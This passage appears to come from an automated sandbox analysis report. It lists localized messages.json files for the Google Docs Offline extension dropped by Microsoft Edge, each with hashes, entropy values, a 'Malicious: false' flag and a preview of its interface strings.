Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\si\messages.json

Download File

